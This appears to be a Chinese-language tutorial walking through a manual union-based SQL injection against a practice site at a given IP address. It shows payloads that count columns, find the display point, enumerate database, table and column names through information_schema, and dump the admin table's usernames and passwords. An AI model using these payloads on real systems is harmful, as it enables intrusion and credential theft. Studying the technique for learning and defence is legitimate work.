查:有多少行
進去是這樣的:直接點擊
可以看到:我們的url發生了變化,
id是啥,我們猜測,id是數據庫的前面的序號,像這樣.
我們輸入不同的id,可以得到不同的數據庫,那么頁面也就不同.
測試:id=3,有網頁,我們接着測試id=4 id=5 id=6 發現都沒有內容
說明id=3 的時候,數據表內容已經"見底"了
於是我們就知道了這個數據表有四行,包括id=0的初始頁面
查:有多少列
使用order by 語句.
我從 1~3查,發現3沒有,2有.
那么就證明這個數據表就兩個字段
讀者可以自行去谷歌應用商店下載hackbar或者類似插件
http://59.63.200.79:8003/?id=1 order by 2
所以,這個數據表,4行2列.
判斷回顯點
回顯點就是數據表中的哪個內容可以在網頁中顯示.
通常用聯合查詢. 我們知道,這有兩個字段.
所以:
http://59.63.200.79:8003/?id=1 union select 1,2
嗯?沒反應,還是顯示那個內容
我們通過MySQL演示,發現我們注入的select 1,2都在數據表的最底部
想讓它顯示出來,兩種辦法
- 添加錯誤條件在前面,讓它不顯示
- 顯示限制條件
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,2
http://59.63.200.79:8003/?id=1 union select 1,2 limit 1,1
# 任意一種
於是,有一個2就顯露出來了,這個2就是回顯點!
查:數據庫名稱
更換url,使用database(),顯示出數據庫名稱
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,database()
數據庫的名稱是maoshe
查:數據表名稱
這段代碼的意思是,在information_schema.tables這個數據表中,從table_name 這一列中,查找在table_schema這一列中數據庫等於當前數據庫名稱的各個數據表名.
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
好,數據表名是admin
查:字段名稱
group_concat()這個函數可以顯示出所有有關的內容,否則就默認顯示出第一行的.
列名肯定不止一個,所以我們要一起顯示出來.
其實上面也可以用 group_concat(),自行體會一下
http://59.63.200.79:8003/?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin' limit 1,100
查:單元格內容
最愛的 username 和password來了.
看一看他們都有些啥
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(username) from admin
http://59.63.200.79:8003/?id=1 and 1=2 union select 1,group_concat(password) from admin
至此,SQL注入演示完畢.
其實sqlmap更快,但沒必要